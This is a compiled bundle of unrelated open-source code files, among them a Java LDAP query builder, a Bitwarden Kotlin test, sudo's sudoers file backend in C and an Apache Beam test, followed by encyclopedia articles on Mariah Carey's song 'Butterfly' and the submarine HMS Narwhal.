searchExpression = MessageFormat.format(ldapConfigurator.getQueryGroupsForUser(), Rdn.escapeValue(userDn));
} else {
searchExpression = userId;
}
return searchExpression;
}
public String buildQueryByFullNameLike(final LDAPConfiguration ldapConfigurator, String searchText) {
String searchExpression = null;
if (ldapConfigurator.getQueryUserByFullNameLike() != null) {
searchExpression = MessageFormat.format(ldapConfigurator.getQueryUserByFullNameLike(), ldapConfigurator.getUserFirstNameAttribute(), searchText, ldapConfigurator.getUserLastNameAttribute(),
searchText);
} else {
throw new FlowableIllegalArgumentException("No 'queryUserByFullNameLike' configured");
}
return searchExpression;
}
public String buildQueryGroupsById(LDAPConfiguration ldapConfigurator, String groupId) {
String searchExpression;
if (ldapConfigurator.getQueryGroupByGroupId() != null) {
searchExpression = MessageFormat.format(ldapConfigurator.getQueryGroupByGroupId(), groupId);
} else {
searchExpression = groupId;
}
return searchExpression;
}
protected SearchControls createSearchControls(LDAPConfiguration ldapConfigurator) {
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
searchControls.setTimeLimit(ldapConfigurator.getSearchTimeLimit());
return searchControls;
}
}
```
|
```less
/*
* @Author: cangdu
* @Date: 2018-05-10 19:03:13
* @Last Modified by: cangdu
* @Last Modified time: 2018-05-10 19:03:13
*/
```
|
```kotlin
package com.x8bit.bitwarden.ui.tools.feature.send.util
import com.bitwarden.send.SendType
import com.bitwarden.send.SendView
import com.x8bit.bitwarden.data.vault.datasource.sdk.model.createMockSendView
import com.x8bit.bitwarden.data.vault.repository.model.SendData
import com.x8bit.bitwarden.ui.platform.components.model.IconRes
import com.x8bit.bitwarden.ui.tools.feature.send.SendState
import com.x8bit.bitwarden.ui.tools.feature.send.model.SendStatusIcon
import io.mockk.every
import io.mockk.mockkStatic
import io.mockk.unmockkStatic
import org.junit.jupiter.api.AfterEach
import org.junit.jupiter.api.Assertions.assertEquals
import org.junit.jupiter.api.BeforeEach
import org.junit.jupiter.api.Test
import java.time.Clock
import java.time.Instant
import java.time.ZoneOffset
class SendDataExtensionsTest {
private val fixedClock: Clock = Clock.fixed(
Instant.parse("2023-10-27T12:00:00Z"),
ZoneOffset.UTC,
)
@BeforeEach
fun setup() {
mockkStatic(
SendView::toLabelIcons,
SendView::toSendUrl,
)
}
@AfterEach
fun tearDown() {
unmockkStatic(
SendView::toLabelIcons,
SendView::toSendUrl,
)
}
@Test
fun `toViewState should return Empty when SendData is empty`() {
val sendData = SendData(emptyList())
val result = sendData.toViewState(DEFAULT_BASE_URL, fixedClock)
assertEquals(SendState.ViewState.Empty, result)
}
@Test
fun `toViewState should return Content when SendData is not empty`() {
val textSendView = createMockSendView(number = 2, type = SendType.TEXT)
val fileSendView = createMockSendView(number = 1, type = SendType.FILE)
val list = listOf(
fileSendView,
textSendView,
)
val textSendViewUrl1 = "www.test.com/#/send/mockAccessId-1/mockKey-1"
val textSendViewUrl2 = "www.test.com/#/send/mockAccessId-2/mockKey-2"
val sendData = SendData(list)
every { textSendView.toSendUrl(DEFAULT_BASE_URL) } returns textSendViewUrl2
every { fileSendView.toSendUrl(DEFAULT_BASE_URL) } returns textSendViewUrl1
every { textSendView.toLabelIcons(any()) } returns DEFAULT_SEND_STATUS_ICONS
every { fileSendView.toLabelIcons(any()) } returns DEFAULT_SEND_STATUS_ICONS
val result = sendData.toViewState(DEFAULT_BASE_URL, fixedClock)
assertEquals(
SendState.ViewState.Content(
textTypeCount = 1,
fileTypeCount = 1,
sendItems = listOf(
SendState.ViewState.Content.SendItem(
id = "mockId-1",
name = "mockName-1",
deletionDate = "Oct 27, 2023, 12:00 PM",
type = SendState.ViewState.Content.SendItem.Type.FILE,
iconList = DEFAULT_SEND_STATUS_ICONS,
shareUrl = "www.test.com/#/send/mockAccessId-1/mockKey-1",
hasPassword = true,
),
SendState.ViewState.Content.SendItem(
id = "mockId-2",
name = "mockName-2",
deletionDate = "Oct 27, 2023, 12:00 PM",
type = SendState.ViewState.Content.SendItem.Type.TEXT,
iconList = DEFAULT_SEND_STATUS_ICONS,
shareUrl = "www.test.com/#/send/mockAccessId-2/mockKey-2",
hasPassword = true,
),
),
),
result,
)
}
}
private const val DEFAULT_BASE_URL: String = "www.test.com/"
private val DEFAULT_SEND_STATUS_ICONS: List<IconRes> = listOf(
IconRes(
iconRes = SendStatusIcon.DISABLED.iconRes,
contentDescription = SendStatusIcon.DISABLED.contentDescription,
),
IconRes(
iconRes = SendStatusIcon.PASSWORD.iconRes,
contentDescription = SendStatusIcon.PASSWORD.contentDescription,
),
IconRes(
iconRes = SendStatusIcon.MAX_ACCESS_COUNT_REACHED.iconRes,
contentDescription = SendStatusIcon.MAX_ACCESS_COUNT_REACHED.contentDescription,
),
IconRes(
iconRes = SendStatusIcon.EXPIRED.iconRes,
contentDescription = SendStatusIcon.EXPIRED.contentDescription,
),
IconRes(
iconRes = SendStatusIcon.PENDING_DELETE.iconRes,
contentDescription = SendStatusIcon.PENDING_DELETE.contentDescription,
),
)
```
|
```javascript
import { useEffect } from 'react';
import removeInline from '../../Utils/removeInline';
import useWebChatUIContext from './useWebChatUIContext';
// This hook is for registering and unregister a callback, used by <BasicTranscript>.
// When called, the callback should scroll the transcript to a specific position, for example, to an activity of specified ID.
export default function useRegisterScrollTo(callback) {
const { scrollToCallbacksRef } = useWebChatUIContext();
useEffect(() => {
if (callback) {
const { current: scrollToCallbacks } = scrollToCallbacksRef;
scrollToCallbacks.push(callback);
return () => removeInline(scrollToCallbacks, callback);
}
}, [callback, scrollToCallbacksRef]);
}
```
|
```c
/*
*
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/*
* This is an open source non-commercial project. Dear PVS-Studio, please check it.
* PVS-Studio Static Code Analyzer for C, C++ and C#: path_to_url
*/
#include <config.h>
#include <stdio.h>
#include <stdlib.h>
#include <sudoers.h>
#include <sudo_lbuf.h>
#include <gram.h>
struct sudo_file_handle {
FILE *fp;
struct sudoers_parse_tree parse_tree;
};
static int
sudo_file_close(struct sudoers_context *ctx, struct sudo_nss *nss)
{
debug_decl(sudo_file_close, SUDOERS_DEBUG_NSS);
struct sudo_file_handle *handle = nss->handle;
if (handle != NULL) {
fclose(handle->fp);
sudoersin = NULL;
free_parse_tree(&handle->parse_tree);
free(handle);
nss->handle = NULL;
}
debug_return_int(0);
}
static int
sudo_file_open(struct sudoers_context *ctx, struct sudo_nss *nss)
{
debug_decl(sudo_file_open, SUDOERS_DEBUG_NSS);
struct sudo_file_handle *handle;
char *outfile = NULL;
/* Note: relies on defaults being initialized early. */
if (def_ignore_local_sudoers)
debug_return_int(-1);
if (nss->handle != NULL) {
sudo_debug_printf(SUDO_DEBUG_ERROR,
"%s: called with non-NULL handle %p", __func__, nss->handle);
sudo_file_close(ctx, nss);
}
handle = malloc(sizeof(*handle));
if (handle != NULL) {
init_parser(ctx, NULL);
handle->fp = open_sudoers(ctx->parser_conf.sudoers_path, &outfile,
false, NULL);
if (handle->fp != NULL) {
init_parse_tree(&handle->parse_tree, NULL, NULL, ctx, nss);
if (outfile != NULL) {
/* Update path to open sudoers file. */
sudo_rcstr_delref(sudoers);
sudoers = outfile;
}
} else {
free(handle);
handle = NULL;
}
}
nss->handle = handle;
debug_return_int(nss->handle ? 0 : -1);
}
/*
* Parse and return the specified sudoers file.
*/
static struct sudoers_parse_tree *
sudo_file_parse(struct sudoers_context *ctx, const struct sudo_nss *nss)
{
debug_decl(sudo_file_close, SUDOERS_DEBUG_NSS);
struct sudo_file_handle *handle = nss->handle;
int error;
if (handle == NULL || handle->fp == NULL) {
sudo_debug_printf(SUDO_DEBUG_ERROR, "%s: called with NULL %s",
__func__, handle ? "file pointer" : "handle");
debug_return_ptr(NULL);
}
sudoersin = handle->fp;
error = sudoersparse();
if (error || (parse_error && !sudoers_error_recovery())) {
/* unrecoverable error */
debug_return_ptr(NULL);
}
/* Move parsed sudoers policy to nss handle. */
reparent_parse_tree(&handle->parse_tree);
debug_return_ptr(&handle->parse_tree);
}
/*
* No need for explicit sudoers queries, the parse function handled it.
*/
static int
sudo_file_query(struct sudoers_context *ctx, const struct sudo_nss *nss,
struct passwd *pw)
{
debug_decl(sudo_file_query, SUDOERS_DEBUG_NSS);
debug_return_int(0);
}
/*
* No need to get defaults for sudoers file, the parse function handled it.
*/
static int
sudo_file_getdefs(struct sudoers_context *ctx, const struct sudo_nss *nss)
{
debug_decl(sudo_file_getdefs, SUDOERS_DEBUG_NSS);
debug_return_int(0);
}
/* sudo_nss implementation */
struct sudo_nss sudo_nss_file = {
{ NULL, NULL },
"sudoers",
sudo_file_open,
sudo_file_close,
sudo_file_parse,
sudo_file_query,
sudo_file_getdefs
};
```
|
Louis Long may refer to:
Louis L. Long (Maryland architect) (fl. 1853–1860), American architect of Baltimore, Maryland
Louis L. Long (Minnesota architect) (c. 1870–1925), partner in Long, Lamoreaux & Long
Louis Long, stage name for American professional wrestler The Silent Warrior
See also
Lewis M. Long, American politician
|
"Butterfly" is a song recorded by American singer-songwriter, and record producer Mariah Carey for her sixth studio album of the same name (1997). It was released on September 29, 1997, by Columbia Records as the second single from the album. The song was written and produced by Carey and Walter Afanasieff. "Butterfly" is a pop and R&B ballad combining elements of gospel. Carey had originally conceived it as a house record with David Morales titled "Fly Away" (Butterfly Reprise). After realizing how personal the lyrics were and how they could be applied to Butterfly, she wrote the album's title track with Afanasieff. On the song's lyrics, Carey sings to someone, telling them to spread their wings and release into the world on their own, like a butterfly.
The accompanying music video for "Butterfly" depicts Carey in an abandoned house, trapped in a desolate life. As the video progresses, she leaves, apparently for the first time in years, and runs into a nearby meadow. Towards the end, Carey jumps over a barbed fence and goes out into the world on a horse. The song's lyrics and video were directly connected to Carey's personal life at the time. "Butterfly" was performed live on the Late Show with David Letterman, Saturday Night Live, and various European television programs. The song was also a permanent part of the set-list during her Butterfly World Tour in 1998. Due to an ongoing conflict with Columbia, "Butterfly" was never issued a commercial release, therefore hindering its charting ability at the time. The single performed weakly on the charts, peaking outside the top 20 in most countries, except for New Zealand, where it peaked at number 15. The song also reached the top-ten in Croatia and Taiwan. In 2003, Q Magazine ranked "Butterfly" at number 563 in their list of the "1001 Best Songs Ever".
Background
During the recording for Butterfly, Carey was in the midst of her separation from then husband, Tommy Mottola. While writing the material for the album, she wrote a house music record titled "Fly Away (Butterfly Reprise)" with David Morales. When the song was finished, Carey felt there was something more she could do with the song; the lyrics were very personal and a perfect fit for a ballad. After contemplating on the matter, Carey re-wrote "Fly Away" in ballad form, and incorporated new lyrics and vocals.
It was '97 and I was leaving my marriage [to Tommy Mottola]. which encompassed my life. I was writing the song 'Butterfly' wishing that that's what he would say to me. There's a part that goes, 'I have learned that beauty / has to flourish in the light / wild horses run unbridled / or their spirit dies / you have given me the courage / to be all that I can / and I truly feel ...[sings] and I truly feel your heart will lead you back to me when you're ready to land.' At that point I really believed that I was going to go back to the marriage – I didn't think I was going to leave forever. But then the things that happened to me during that time caused me to not go back. Had it been, 'Go be yourself, you've been with me since you were a kid, let's separate for a while,' I probably would've.
The song was named "Butterfly" and became Carey's "favorite and most heartfelt ballad." Its lyrics were very personal, linking to Carey's personal life and relationship with Mottola. Carey wrote "Butterfly" for Mottola, hoping he would say its contents to her, and choose to do what was best for her. She described the song as "the best ballad she had ever written" and credited it as the epitome of her magnum opus, which was Butterfly.
Composition
"Butterfly" is a personal ballad, which blends pop, R&B, gospel and soul genres. It incorporates piano and drum notes, including heavy beats and grooves. As part of "layering the song," background vocals are featured throughout the chorus and sections of the bridge. It is set in the signature common time, and is written in the key of A major. It features a basic chord progression of A-F-1. Carey's vocal range in the song spans from the note of G3 to the high note of A6; the piano and guitar pieces range from A3 to A5. The song contains choral lyrics written by Carey, who produced the song's melody and chorus as well. Aside from assisting with its writing and chord progression, Afanasieff co-arranged and produced the track as well. In his review for the album, David Browne commented on the song's lyrics and message "The title song, a slice of florid pop gospel, explores the old if-you-love-someone-set-her-free theme; It isn't a reach to interpret these songs as describing life with the reportedly controlling Mottola.
Chart performance
"Butterfly" was a moderate success on the charts, performing weakly in many music markets. In the United States, the song charted on the Hot 100 Airplay, peaking at number 16. In Canada, the song entered the RPM Singles Chart at number 57 on the RPM issue dated November 3, 1997, and reached its peak of number 22 on December 1, 1997. It was present on the chart for a total of 14 weeks.
The song's success in Europe was very limited as well, due to its non-commercial release. In the United Kingdom, the song entered the singles chart at its peak of 22, the week of December 13, 1997. "Butterfly" stayed in the chart for six weeks, falling out of the chart the week of January 17, 1998. In France and The Netherlands, the song peaked at number 43 and 52, respectively. In Australia, "Butterfly" cracked the top-40, peaking at number 27 and spending a total of ten weeks on the chart. "Butterfly" charted at number 15 in New Zealand, spending seven weeks on the chart. "Butterfly" was nominated for the 1998 Grammy Award for Best Female Pop Vocal Performance, which it lost to Sarah McLachlan's "Building a Mystery."
Critical reception
Paul Verna from Billboard gave the song a positive review, writing "the lovely 'Butterfly' is classic Carey, from its gospel-kissed ballad instrumentation and choir chants to the diva's soaring, glass-shattering performance." Verna concluded, "This should not imply, however, that she is covering crusty old ground. The notable maturity in her lyrics and worldly warmth of her vocal reflect the growth that she has continually strived to attain." British magazine Music Week gave it four out of five, adding, "This is as smooth as any of her ballads, but it's in the vocals where the difference lies. No longer over-singing for the sake of it, Carey has rarely sounded more stunning." Rick Juzwiak from Slant Magazine gave the song a mixed review, but felt it was a pivotal part of Carey's vocal and musical transition. Juzwiak wrote "The agonizingly slow 'Butterfly,' with its predictably soaring chorus and if-it-comes-back-it-was-meant-to-be message, would have been ignorable tripe. Here, it's a show for the peeping. Echoes of her newly failed relationship with Mottola bounce off the gospelly song's cheap stained glass and then garble so that it sounds like some insane document of Stockholm Syndrome." He felt however, that the song was an important part of the album, "It isn't just subject matter that elevates 'Butterfly' above Carey's usual melodrama. Carey's vocal delivery and her willingness to experiment with it helped define the album, so it's only appropriate that its title track is the first of many to showcase Carey's much-debated 'whisper voice.'" Ian Hyland from Sunday Mirror gave it eight out of ten, commenting, "Flouncing around in sexy beige slips apart, ballads are what Mariah does best. And I'm more than happy to report she's still doing fine on both counts." Richard Harrington from The Washington Post complimented "Butterfly" as "a lush pop ballad that frames Carey's voice quite effectively".
Music video
The single's accompanying music video was co-directed by Carey and Daniel Pearl. It was inspired by the Tennessee Williams play Baby Doll and a dream Carey had one night. The video begins with scenes of a man leaving his home one early morning; only his feet are shown. Carey is first seen residing in the derelict house, in the middle of a large meadow. She awakes, sad and depressed, wearing battered and disheveled clothing. As she walks down the stairs, Carey sits on the staircase, lamenting in agony at her loneliness. As the video climaxes, Carey is seen finally leaving the foyer, apparently for the first time in many years, escaping from the misery she once called home. As she reaches the outskirts of the property, Carey mounts a horse, which assists her in jumping over the barbed fence. After leaving, Carey is seen smiling for the first time in the video, while waving her arms in the air.
The video drew many comparisons to the rumors of Carey's deteriorating marriage at the time. Author Chris Nickson felt the video, like the song, served as a metaphor for the things that were taking place in her life at the time. Rumors circulated that Mottola was controlling, abusive and would even monitor Carey's phone calls. For this reason, she is portrayed with tattered clothing and hair in the video, with the final moments showing her escape. It features Carey finally leaving the lonely and abusive marriage she once was part of, and finally breaking free into the outside world. Unlike the video, the lyrics spoke of setting your loved one free, because it is the best thing for them; showing that their love for the person should be greater than their own happiness.
Live performances
Carey performed "Butterfly" on various American and European television programs. In the US, Carey first performed the song live on the Late Show with David Letterman, prior to an interview. Carey wore a mid-length black gown for the performance, and was accompanied by three back-up singers, Walter Afanasieff on piano and Randy Jackson playing the bass. On September 12, Carey sang "Butterfly" live on The Oprah Winfrey Show alongside her previous hit, "Hero." For her appearance, Carey wore a short blue skirt, and featured an array of gospel back-up singers. On November 15, Carey performed the song live on Saturday Night Live, alongside "My All." The performance featured the same musicians on set, with the exception of Afanasieff, who was absent. In Europe, Carey performed the song on the popular German game show, Wetten, dass..?, featured only three female back-up singers. In France, Carey visited the talk show, "The Hit Machine," where she performed the song as well. After completing the song, Carey received a standing ovation.
The song was sung during her Butterfly World Tour in 1998, a part of the set list of every show. For the performances in Japan, Carey donned a long flowing gown, and featured live back-up. During the performance, large images of butterflies were projected onto the large screen behind her. The performances served as one of the closing songs on the set-list. Similar props and set-up were used for the following shows of the tour, with the addition on the "Fly Away (Butterfly Reprise)" addition at the show's finale. In subsequent tours, the chorus of the song was played by the band and sung by the background vocals at the end of each concert as Carey would exit the stage. In the Angels Advocate Tour an instrumental version was played as an introduction while Carey entered the stage. "Fly Away (Butterfly Reprise)" was put as the introduction of Carey's shows during her second concert residency placed in Las Vegas, The Butterfly Returns (2018) to match its theme.
Track listings
Europe CD single
"Butterfly" – 4:34
"Fly Away" (Butterfly Reprise) – 3:49
12" single
"Fly Away" (Butterfly Reprise) (Fly Away Club Mix) – 9:52
"Fly Away" (Butterfly Reprise) (Def 'B' Fly Mix) – 8:46
"Fly Away" (Butterfly Reprise) – 3:49
"Butterfly" – 4:34
UK CD single (Part 1)
"Butterfly" – 4:34
"Fly Away" (Butterfly Reprise) – 3:49
"Fly Away" (Butterfly Reprise) (Fly Away Club Mix) - 9:52
"The Roof" (Mobb Deep Remix) - 5:31
UK CD single (Part 2)
"Butterfly" – 4:34
"One Sweet Day" (Live) - 5:08
"Hero" (Spanish Version) - 4:16
"Without You" - 3:34
Butterfly EP
"Fly Away" (Butterfly Reprise) (Fly Away Club Mix) – 9:51
"Fly Away" (Butterfly Reprise) (Def "B" Fly Mix) – 8:40
"Butterfly" (Meme Club Radio) – 4:19
"Butterfly" (Meme's Extended Club Mix Part 1 & 2) – 8:43
"Butterfly" (Meme Latin Beats) – 5:59
"Butterfly" (Sambaterfly Edit) – 4:40
"Butterfly" (Sambaterfly for Clubbers) – 8:22
"Butterfly" (Classic Bossa Nova) – 4:12
"Butterfly" (Meme's Instrumental) – 8:43
"Butterfly" (Meme's Radio Instrumental) – 4:18
Remixes
David Morales Mixes
"Fly Away" (Butterfly Reprise) (Fly Away Club Mix) – 9:52
"Fly Away" (Butterfly Reprise) (Def 'B' Fly Mix) – 8:46
DJ Meme Mixes
"Butterfly" (Meme's Extended Club Mix Part 1 & 2) – 8:40
"Butterfly" (Meme's Latin Beats) – 6:00
DJ Grego Mixes
"Butterfly" (Sambaterfly) – 8:20
"Butterfly" (Sambaterfly Edit) – 4:35
"Butterfly" (Sambaterfly For Clubbers) – 8:20
"Butterfly" (Classic Bossa Nova) – 4:10
Credits and personnel
Credits adapted from the Butterfly liner notes.
Mariah Carey – songwriting, co-production, vocals
Walter Afanasieff – songwriting, co-production
Charts
Weekly charts
Year-end charts
Release history
References
Further reading
1990s ballads
1997 singles
Mariah Carey songs
Pop ballads
Contemporary R&B ballads
Songs written by Walter Afanasieff
Songs written by Mariah Carey
Music videos directed by Mariah Carey
Song recordings produced by Walter Afanasieff
1997 songs
Columbia Records singles
Sony Music singles
Gospel songs
|
```html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>Performance</title>
<link rel="stylesheet" href="../boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.79.1">
<link rel="home" href="../index.html" title="Chapter 1. Boost.Bimap">
<link rel="up" href="../index.html" title="Chapter 1. Boost.Bimap">
<link rel="prev" href="compiler_specifics.html" title="Compiler specifics">
<link rel="next" href="examples.html" title="Examples">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table cellpadding="2" width="100%"><tr>
<td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../../boost.png"></td>
<td align="center"><a href="../../../../../index.html">Home</a></td>
<td align="center"><a href="../../../../../libs/libraries.htm">Libraries</a></td>
<td align="center"><a href="path_to_url">People</a></td>
<td align="center"><a href="path_to_url">FAQ</a></td>
<td align="center"><a href="../../../../../more/index.htm">More</a></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="compiler_specifics.html"><img src="../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../index.html"><img src="../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../index.html"><img src="../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="examples.html"><img src="../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
<div class="section">
<div class="titlepage"><div><div><h2 class="title" style="clear: both">
<a name="boost_bimap.performance"></a><a class="link" href="performance.html" title="Performance">Performance</a>
</h2></div></div></div>
<p>
Section under construction.
</p>
</div>
<table xmlns:rev="path_to_url~gregod/boost/tools/doc/revision" width="100%"><tr>
<td align="left"></td>
file LICENSE_1_0.txt or copy at <a href="path_to_url" target="_top">path_to_url
</p>
</div></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="compiler_specifics.html"><img src="../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../index.html"><img src="../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../index.html"><img src="../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="examples.html"><img src="../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
</body>
</html>
```
|
```java
/*
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.apache.beam.runners.dataflow.worker;
import static org.apache.beam.runners.dataflow.util.Structs.addString;
import static org.hamcrest.MatcherAssert.assertThat;
import org.apache.beam.runners.dataflow.util.CloudObject;
import org.apache.beam.runners.dataflow.util.CloudObjects;
import org.apache.beam.sdk.coders.StringUtf8Coder;
import org.apache.beam.sdk.options.PipelineOptions;
import org.apache.beam.sdk.options.PipelineOptionsFactory;
import org.hamcrest.CoreMatchers;
import org.hamcrest.core.IsInstanceOf;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
/** Tests for {@link SinkRegistry}. */
@RunWith(JUnit4.class)
public class SinkRegistryTest {
private PipelineOptions options = PipelineOptionsFactory.create();
@Test
public void testCreatePredefinedSink() throws Exception {
CloudObject spec = CloudObject.forClassName("AvroSink");
addString(spec, "filename", "/path/to/file.txt");
SizeReportingSinkWrapper<?> sink =
SinkRegistry.defaultRegistry()
.create(
spec,
StringUtf8Coder.of(),
options,
BatchModeExecutionContext.forTesting(options, "testStage"),
TestOperationContext.create());
assertThat(sink.getUnderlyingSink(), new IsInstanceOf(AvroByteSink.class));
}
@Test
public void testCreateUnknownSink() throws Exception {
CloudObject spec = CloudObject.forClassName("UnknownSink");
com.google.api.services.dataflow.model.Sink cloudSink =
new com.google.api.services.dataflow.model.Sink();
cloudSink.setSpec(spec);
cloudSink.setCodec(CloudObjects.asCloudObject(StringUtf8Coder.of(), /*sdkComponents=*/ null));
try {
SinkRegistry.defaultRegistry()
.create(
spec,
StringUtf8Coder.of(),
options,
BatchModeExecutionContext.forTesting(options, "testStage"),
TestOperationContext.create());
Assert.fail("should have thrown an exception");
} catch (Exception exn) {
assertThat(exn.toString(), CoreMatchers.containsString("Unable to create a Sink"));
}
}
}
```
|
```java
/*
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package com.oracle.truffle.llvm.runtime.nodes.memory.load;
import com.oracle.truffle.api.dsl.Cached;
import com.oracle.truffle.api.dsl.GenerateAOT;
import com.oracle.truffle.api.dsl.GenerateUncached;
import com.oracle.truffle.api.dsl.Specialization;
import com.oracle.truffle.api.library.CachedLibrary;
import com.oracle.truffle.llvm.runtime.library.internal.LLVMManagedReadLibrary;
import com.oracle.truffle.llvm.runtime.nodes.api.LLVMExpressionNode;
import com.oracle.truffle.llvm.runtime.nodes.api.LLVMLoadNode;
import com.oracle.truffle.llvm.runtime.nodes.memory.load.LLVMDoubleLoadNodeGen.LLVMDoubleOffsetLoadNodeGen;
import com.oracle.truffle.llvm.runtime.pointer.LLVMManagedPointer;
import com.oracle.truffle.llvm.runtime.pointer.LLVMNativePointer;
import com.oracle.truffle.llvm.runtime.pointer.LLVMPointer;
public abstract class LLVMDoubleLoadNode extends LLVMLoadNode {
public static LLVMDoubleLoadNode create() {
return LLVMDoubleLoadNodeGen.create((LLVMExpressionNode) null);
}
public abstract double executeWithTarget(Object address);
@GenerateUncached
public abstract static class LLVMDoubleOffsetLoadNode extends LLVMOffsetLoadNode {
public static LLVMDoubleOffsetLoadNode create() {
return LLVMDoubleOffsetLoadNodeGen.create();
}
public abstract double executeWithTarget(LLVMPointer receiver, long offset);
@Specialization(guards = "!isAutoDerefHandle(addr)")
protected double doDoubleNative(LLVMNativePointer addr, long offset) {
return getLanguage().getLLVMMemory().getDouble(this, addr.asNative() + offset);
}
@Specialization(guards = "isAutoDerefHandle(addr)")
protected static double doDoubleDerefHandle(LLVMNativePointer addr, long offset,
@Cached LLVMDerefHandleGetReceiverNode getReceiver,
@CachedLibrary(limit = "3") LLVMManagedReadLibrary nativeRead) {
return doDoubleManaged(getReceiver.execute(addr), offset, nativeRead);
}
@Specialization(limit = "3")
@GenerateAOT.Exclude
protected static double doDoubleManaged(LLVMManagedPointer addr, long offset,
@CachedLibrary("addr.getObject()") LLVMManagedReadLibrary nativeRead) {
return nativeRead.readDouble(addr.getObject(), addr.getOffset() + offset);
}
}
@Specialization(guards = "!isAutoDerefHandle(addr)")
protected double doDoubleNative(LLVMNativePointer addr) {
return getLanguage().getLLVMMemory().getDouble(this, addr);
}
@Specialization(guards = "isAutoDerefHandle(addr)")
protected static double doDoubleDerefHandle(LLVMNativePointer addr,
@Cached LLVMDerefHandleGetReceiverNode getReceiver,
@CachedLibrary(limit = "3") LLVMManagedReadLibrary nativeRead) {
return doDoubleManaged(getReceiver.execute(addr), nativeRead);
}
@Specialization(limit = "3")
@GenerateAOT.Exclude
protected static double doDoubleManaged(LLVMManagedPointer addr,
@CachedLibrary("addr.getObject()") LLVMManagedReadLibrary nativeRead) {
return nativeRead.readDouble(addr.getObject(), addr.getOffset());
}
}
```
|
```toml
#
#
# path_to_url
#
# Unless required by applicable law or agreed to in writing,
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# specific language governing permissions and limitations
key "value"
```
|
HMS Narwhal (N45) was one of the six ship class of Grampus-class mine-laying submarine of the Royal Navy. She was built by Vickers Armstrong, Barrow and launched 29 August 1935. She served in the Second World War in home waters. She was lost in the North Sea on 23 July 1940, probably sunk by German aircraft.
Career
Narwhal had a brief but eventful career in wartime service. In February 1940 she helped HMS Imogen and HMS Inglefield to sink the German U-boat U-63 south east of the Shetland Islands and in May she torpedoed and sank the German troop transport and torpedoed and damaged the troop transport . Bahia Castillo reached port but was declared a total loss.
Most of Narwhal's sinkings were caused by her mines. The German auxiliary minesweepers M 1302 / Schwaben, M 1102/H.A.W. Möllerthe, Gnom 7, Kobold 1 and Kobold 3; the German minesweeper M 11; German auxiliary submarine chaser UJ D / Treff VIII; the armed trawler V 1109 / Antares and the Swedish merchant were all sunk on mines laid by Narwhal.
Ships damaged by mines laid by Narwhal included the armed trawler V 403 / Deutschland, the German merchants Togo and Clara M. Russ. The auxiliary minesweeper M 1101 / Fock und Hubert and the German merchant Palime also struck some of Narwhal's mines. They were successfully beached but declared total losses.
Credit is often given to Narwhal for sinking the Norwegian fishing vessel Arild, but in reality Arild hit a German defensive mine.
Narwhal may also have sunk the German U-boat U-1 which disappeared on patrol on 6 April 1940, having been scheduled to sail unknowingly through a minefield Narwhal had laid earlier that day. Alternatively, Narwhal's sister, Porpoise, reported firing upon an unknown submarine, which may account for U-1'''s loss.
